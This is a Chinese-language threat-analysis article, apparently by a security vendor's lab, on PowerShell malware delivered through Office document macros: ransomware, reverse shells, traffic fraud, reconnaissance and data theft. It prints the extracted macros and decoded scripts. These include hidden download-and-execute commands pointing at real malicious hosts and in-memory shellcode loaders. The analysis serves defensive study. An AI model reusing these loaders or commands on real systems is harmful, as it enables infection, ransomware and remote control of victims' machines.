
        <html>
			<head>
			     <title>Powershell恶意代码的N种姿势 - 360安全卫士</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/papers/14688">http://drops.wooyun.org/papers/14688</a></h1>
				
      <p>
        <p><strong>Author:360天眼实验室</strong></p>

<h1>0x00 引言</h1>

<hr />

<p>人在做，天在看。</p>

<p>技术从来都是中性的，被用来行善还是作恶完全取决于运用它的人。原子能可以用来发电为大众提供清洁能源，也可以用来制造能毁灭全人类的核武器，这不是一个完善的世界，于是我们既有核电站也有了核武器。</p>

<p>Powershell，曾经Windows系统管理员的称手工具，在恶意代码制造和传播者手里也被玩得花样百出。由于Powershell的可执行框架部分是系统的组件不可能被查杀，而驱动它的脚本是非PE的而非常难以通过静态方法判定恶意性，同时脚本可以非常小巧而在系统底层的支持下功能却可以非常强大，这使利用Powershell的恶意代码绕过常规的病毒防护对系统为所欲为。因此，360天眼实验室近期看到此类恶意代码泛滥成灾就毫不奇怪，事实上，我们甚至看到所跟踪的APT团伙也开始转向Powershell。</p>

<!--more-->

<p>本文我们向大家展示一些看到的实际恶意代码的例子。</p>

<h1>0x01 实例分析</h1>

<hr />

<p>这里我们基于360威胁情报中心的数据，对接触到的Powershell恶意代码按分类各举一例。</p>

<h3>勒索软件</h3>

<p>我们知道现在勒索软件以其直接的变现方式现在已成为黑产的宠儿，像雨后春笋那样冒出来的勒索软件中，我们看到了使用纯Powershell脚本实现的例子。</p>

<p>样本MD5：ea7775da99367ac89f70f2a95c7f8e8e</p>

<p>这是一个通过Word文档中嵌入宏以诱导执行的勒索软件，使用工具提取出其中的宏，内容如下：</p>

<pre><code>#!vb
"vba_code": "Private Sub Document_Open() Dim FGHNBVRGHJJGFDSDUUUU As String FGHNBVRGHJJGFDSDUUUU = "cmd /K " + "pow" + "er" + "Sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://rxlawyer.in/file.php','%TEMP%\Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1" Shell FGHNBVRGHJJGFDSDUUUU, 0 MsgBox ("Module could not be found.") FGHHH = 7 * 2 DGHhhdRGHH = 9 + 23 End Sub"
</code></pre>

<p>宏的功能是下载<code>http://rxlawyer.in/file.php</code>到本地的temp目录下，并用Powershell运行这个文件。而下载回来的file.php本质上是一个ps的脚本文件，MD5为：dd180477d6a0bb6ce3c29344546ebdfc 。</p>

<p>勒索者脚本的实现原理是：通过随机生成加密密钥与用户ID，将加密密钥与用户ID信息上传到服务器进行备份，在用户机器上使用对称算法将用户的文档进行加密。因为密钥为随机生成，除非拥有攻击者服务器上备份的密钥，否则很难将被加密的文档进行还原。</p>

<p>脚本的原貌为：</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105003825877117.jpg" alt="p1" /></p>

<p>可见，脚本做了混淆处理，简单处理以后归纳出的脚本主要执行过程如下：</p>

<p>1.生成三个随机数，分别表示加密密钥、加密用的盐、UUID</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105003941617213.jpg" alt="p2" /></p>

<p>把上面生成随机数发送到服务器中保存</p>

<p><img src="http://static.wooyun.org//drops/20160411/201604110500419669134.jpg" alt="p3" /></p>

<p>2.用随机数生成加密容器</p>

<p><img src="http://static.wooyun.org//drops/20160411/201604110500429391944.jpg" alt="p4" /></p>

<p><img src="http://static.wooyun.org//drops/20160411/201604110500443747855.jpg" alt="p5" /></p>

<p>3.得到磁盘中的所有的指定后缀的文件</p>

<p>调用<code>Get-PSDrive</code>，得到所有文件名</p>

<pre><code>#!powershell
$folder= gdr|where {$_.Free}|Sort-Object -Descending 
</code></pre>

<p><img src="http://static.wooyun.org//drops/20160411/201604110500467716566.jpg" alt="p6" /></p>

<p>4.加密这些文件的前2048个字节后写回文件</p>

<p><img src="http://static.wooyun.org//drops/20160411/201604110500473564676.jpg" alt="p7" /></p>

<p>5.解码Base64得到提示勒索的html文件</p>

<p><img src="http://static.wooyun.org//drops/20160411/201604110500496486684.jpg" alt="p8" /></p>

<p>在html文件的尾部添加上赎回密钥用的UUID及当前时间</p>

<p><img src="http://static.wooyun.org//drops/20160411/201604110500509016094.jpg" alt="p9" /></p>

<h3>渗透测试</h3>

<p>此类样本大多使用网络上的nishang开源工具包生成的攻击文件。攻击文件以Word、Excel、CHM、LNK等格式的文件为载体，嵌入Payload，实现获得反弹Shell等功能，实现对系统的控制。</p>

<p>样本MD5：929d104ae3f02129bbf9fa3c5cb8f7a1</p>

<p>文件打开后，会显示文件损坏，用来迷惑用户，Word中的宏却悄然运行了。</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105005257874104.jpg" alt="p10" /></p>

<p>宏的内容为：</p>

<pre><code>#!vb
Sub AutoOpen()
Dim x
x = "powershell -window hidden -enc JAAxACA[……]APQA” _
&amp; "wB3AGUAcgBzAGgAZQBsAGwAIAAkADIAIAAkAGUAIgA7AH0A"
Shell ("POWERSHELL.EXE " &amp; x)
Dim title As String
title = "Critical Microsoft Office Error"
Dim msg As String
Dim intResponse As Integer
msg = "This document appears to be corrupt or missing critical rows in order to restore. Please restore this file from a backup."
intResponse = MsgBox(msg, 16, title)
Application.Quit
End Sub
</code></pre>

<p>将宏中的字符串，用Base64解码后，得到内容如下：</p>

<pre><code>#!powershell
$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0x34,0xff,0xf9,0x18,0xd9,0xeb,0xd9,0x74,[……] ,0xda,0x73,0x5d;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "&amp; $3 $2 $e"}else{;iex "&amp; powershell $2 $e";}
</code></pre>

<p>将其中的shellcode提取出来进行分析得知，这段shellcode的主要功能是反向连接内网IP 192.168.1.30的4444端口。</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105005383717118.jpg" alt="p11" /></p>

<p>另一个与上述样本有着类似功能的样本的MD5为：1e39753fd56f17010ac62b1d84b5e650</p>

<p>从文件中提取出来的宏为：</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105005582625125.jpg" alt="p12" /></p>

<p>而这四个函数对应的功能分别为</p>

<ul>
<li>Execute：</li>
</ul>

<p>用Powershell下载invoke-shellcode.ps后，通过invoke-shellcode函数调用指定Payload windows/meterpreter/reverse_https 建立反弹shell，反弹的地址为98.100.108.133，端口为443</p>

<p>其中部分代码为：</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105005687949134.jpg" alt="p13" /></p>

<ul>
<li>Persist：</li>
</ul>

<p>将Powershell建立反弹Shell的功能用VBS实现后，保存在C:\Users\Public\10-D.vbs文件中</p>

<ul>
<li>Reg</li>
</ul>

<p>新建HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load注册表，值指定为C:\Users\Public\10-D.vbs</p>

<ul>
<li>Start</li>
</ul>

<p>调用C:\Users\Public\10-D.vbs</p>

<p>而有时，为了抵抗杀毒软件的追杀，样本通常会进行Base64编码。</p>

<p>MD5：c49ee3fb4897dd1cdab1d0ae4fe55988</p>

<p>下面为提取出来的宏内容，可见代码使用了Base64编码：</p>

<pre><code>#!vb
"vba_code": "Sub Workbook_Open() 'VBA arch detect suggested by "T" Dim Command As String Dim str As String Dim exec As String Arch = Environ("PROCESSOR_ARCHITECTURE") windir = Environ("windir") If Arch = "AMD64" Then Command = windir + "\syswow64\windowspowershell\v1.0\powershell.exe" Else Command = "powershell.exe" End If str = "nVRtb9tGDP7uX0EIN0BCLEV+aZZYCNDUadZsdZrFbtLNMIazRFvXnO" str = str + "6U08mR4/q/j3I0x/06f9CZFI/PQ/Kh2BOcw3unNb2U8jrLtb"[……]str = str + "TjdLP9Fw==" exec = Command + " -NoP -NonI -W Hidden -Exec Bypass -Comm" exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRea" exec = exec + "
</code></pre>

<p>解码后的内容为：</p>

<pre><code>#!vb
$q = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpP
arameter, uint dwCreationFlags, IntPtr lpThreadId);
"@
try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)}
function t {$f = "";1..3|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}
function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e;  foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;
$m.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");$n = g; [Byte[]] $p = $m.DownloadData("https://192.168.0.105:4444/$n
" )
$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)
$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}
</code></pre>

<p>脚本的功能是通过g函数随机生成四位的字符，从内网网址下载后加载执行<code>https://192.168.0.105:4444/xxxx</code>（其中xxxx为随机四位字符）</p>

<p>这里连接的是192.168.0.105为内网IP，此样本很可能是渗透者进行内网渗透攻击的测试样本。此类样本还有很多：</p>

<ul>
<li>eae0906f98568c5fb25b2bb32b1dbed7</li>
</ul>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105005847371144.jpg" alt="p14" /></p>

<ul>
<li>1a42671ce3b2701956ba49718c9e118e</li>
</ul>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105005980463154.jpg" alt="p15" /></p>

<ul>
<li>496ed16e636203fa0eadbcdc182b0e85</li>
</ul>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105010084230163.jpg" alt="p16" /></p>

<p>使用LNK文件，建立反弹shell的样本</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105010223029175.jpg" alt="p17" /></p>

<h3>流量欺骗</h3>

<p>为了快速提升网站流量、Alexa排名、淘宝网店访问量、博客人气、每日访问IP、PV、UV等，有些网站站长会采取非常规的引流方法，采用软件在后台模拟人正常访问网页的点击动作而达到提升流量的目的。</p>

<p>样本MD5：5f8dc4db8a658b7ba185c2f038f3f075</p>

<p>文档打开后里面只有“test by c”这几个文字</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105010330622184.jpg" alt="p18" /></p>

<p>提取出文档中的宏中的加密字符解密后得到可读的ps脚本如下</p>

<pre><code>#!powershell
$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,[……] ,0x31,0x32,0x38,0x2e,0x31,0x39,0x36,0x2e,0x38,0x34,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";$cmd = "-nop -noni -enc ";iex "&amp; $x86 $cmd $e"}else{$cmd = "-nop -noni -enc";iex "&amp; powershell $cmd $e";}
</code></pre>

<p>可见，ps脚本的主要功能就是执行Shellcode，这段Shellcode的功能就是调用wininet.dll中的函数进行连接138.128.196.84地址的443端口。而138.128.196.84地址正为流量宝类的软件用的地址。</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105010539500193.jpg" alt="p19" /></p>

<h3>探测控制</h3>

<p>样本对通过宏调用Powershell下载PE文件在受影响的系统上检查是否为关心的目标并执行进一步地操作，具备针对性攻击的特点。</p>

<p>样本MD5：fba6b329876533f28d317e60fe53c8d3</p>

<p>从样本中抽取出的宏主要是根据系统版本下载相应的文件执行</p>

<pre><code>#!vb
Sub AutoOpen()
    x1 = "Download"
    h = "Str"
    o = "power" &amp; "shell" &amp; ".exe"
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    abcdef = h &amp; "ing"
    Set objWMIService = GetObject("winmgmts:\\" &amp; strComputer &amp; "\root\cimv2")

    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" &amp; strComputer &amp; "\root\cimv2:Win32_Process")
    objProcess.Create o &amp; " -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq 4) {(new-object Net.WebClient)." &amp; x1 &amp; abcdef &amp; "('http://rabbitons.pw/cache') | iex } else {(new-object Net.WebClient)." &amp; x1 &amp; abcdef &amp; "('http://rabbitons.pw/css') | iex}", Null, objConfig, intProcessID
</code></pre>

<p>其中的对应32位系统的cache文件的内容如下：</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105010657558203.jpg" alt="p20" /></p>

<p>我们对Shellcode进行简单分析：</p>

<p>1.在内存中解密，生成一个PE文件，在内存中展开跳到入口点处执行，将PE文件的.BSS区段进行解码，解码算法如下：</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105010811080214.jpg" alt="p21" /></p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105010958214223.jpg" alt="p22" /></p>

<p>解密后的结果为：</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105011080145232.jpg" alt="p23" /></p>

<p>2.判断是不是64位系统</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105011283803242.jpg" alt="p24" /></p>

<p>判断虚拟机</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105011359036252.jpg" alt="p25" /></p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105011567777262.jpg" alt="p26" /></p>

<p>3.用FindFirstUrlCacheEntry和FindNextUrlCacheEntry遍历IE临时文件目录 ，用于判断用户是否是攻击者的目标用户</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105011647459272.jpg" alt="p27" /></p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105011734588281.jpg" alt="p28" /></p>

<p>4.计算用户和电脑信息的HASH</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105011920930291.jpg" alt="p29" /></p>

<p>随后B03938处创建线程进行下面的动作</p>

<p>判断<code>ipconfig -all</code>命令中是否有.edu、school、hospital、colledge、health、nurse等字符串</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105012022318301.jpg" alt="p30" /></p>

<p>调用<code>cmd /C ""ipconfig -all &gt; C:\DOCUME~1\yyyyy\LOCALS~1\Temp\xxxx.TMP</code>(xxx代表随机数)生成文件，检测.edu、school、hospital、colledge、health、nurse等字符串</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105012226452312.jpg" alt="p31" /></p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105012379649322.jpg" alt="p32" /></p>

<p>5.遍历系统中的进程，检测有否指定hash的进程正在运行</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105012442645331.jpg" alt="p33" /></p>

<p>从IE缓存中查找用户是不是访问过这些网址：</p>

<p>通过WININET.FindFirstUrlCacheEntryW , WININET.FindNextUrlCacheEntryW WININET.FindCloseUrlCache</p>

<p><img src="http://static.wooyun.org//drops/20160411/2016041105012645057341.jpg" alt="p34" /></p>

<p>得到<code>net view</code>命令返回值中是否有pos、store、shop、sale等字符串</p>

<p><img src="http://static.wooyun.org//drops/20160411/201604110501273785035.jpg" alt="p35" /></p>

<p>发送用户信息，并下载相对应的恶意程序：</p>

<p><img src="http://static.wooyun.org//drops/20160411/201604110501292137436.jpg" alt="p36" /></p>

<p>其中，用这种手法的恶意样本还有如下：</p>

<table>
  <tr>
    <th>
      样本HASH
    </th>
    
    <th>
      系统版本
    </th>
    
    <th>
      下载地址
    </th>
  </tr>
  
  <tr>
    <td rowspan="2">
      f0483b9cfb8deb7ff97962b30fc779ad
    </td>
    
    <td>
      32位
    </td>
    
    <td>
      https://github.com/flowsdem/found/raw/master/rost
    </td>
  </tr>
  
  <tr>
    <td>
      64位
    </td>
    
    <td>
      https://github.com/flowsdem/found/raw/master/virst
    </td>
  </tr>
  
  <tr>
    <td rowspan="2">
      fba6b329876533f28d317e60fe53c8d3
    </td>
    
    <td>
      32位
    </td>
    
    <td>
      http://rabbitons.pw/cache
    </td>
  </tr>
  
  <tr>
    <td>
      64位
    </td>
    
    <td>
      http://rabbitons.pw/css
    </td>
  </tr>
  
  <tr>
    <td rowspan="2">
      62967bf585eef49f065bac233b506b36
    </td>
    
    <td>
      32位
    </td>
    
    <td>
      https://github.com/minifl147/flue/raw/master/memo
    </td>
  </tr>
  
  <tr>
    <td>
      64位
    </td>
    
    <td>
      https://github.com/minifl147/flue/raw/master/adv
    </td>
  </tr>
</table>

<h3>信息搜集</h3>

<p>样本中的宏代码下载执行信息收集类的Powershell脚本，很可能是某些针对性攻击的前导。</p>

<p>样本MD5：f7c3c7df2e7761eceff991bf457ed5b9</p>

<p>提取出来的宏代码为：</p>

<p><img src="http://static.wooyun.org//drops/20160411/201604110501304850637.jpg" alt="p37" /></p>

<p>下载一个名为Get-Info-2.ps1的脚本，脚本功能是将本机的IP地址、domainname、username、usbid等发送到远端服务器中。</p>

<p><img src="http://static.wooyun.org//drops/20160411/201604110501322390538.jpg" alt="p38" /></p>

<h1>0x02 总结</h1>

<hr />

<p>天眼实验室再次提醒用户，此类恶意软件主要依赖通过微软的Office文档传播，用户应该确保宏不默认启用，提防任何来自不受信任来源的文件，当打开文件系统提示要使用宏时务必慎重。同时要尽量选用可靠的安全软件进行防范，如无必要不要关闭安全软件，当发现系统出现异常情况，应及时查杀木马，尽可能避免各类恶意代码的骚扰。</p>

<h1>0x03 参考资料</h1>

<hr />

<ul>
<li><a href="http://news.softpedia.com/news/powerware-ransomware-abuses-microsoft-word-and-powershell-to-infect-users-502200.shtml">http://news.softpedia.com/news/powerware-ransomware-abuses-microsoft-word-and-powershell-to-infect-users-502200.shtml</a></li>
<li><a href="https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/">https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/</a></li>
<li><a href="https://www.10dsecurity.com/">https://www.10dsecurity.com/</a></li>
</ul>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 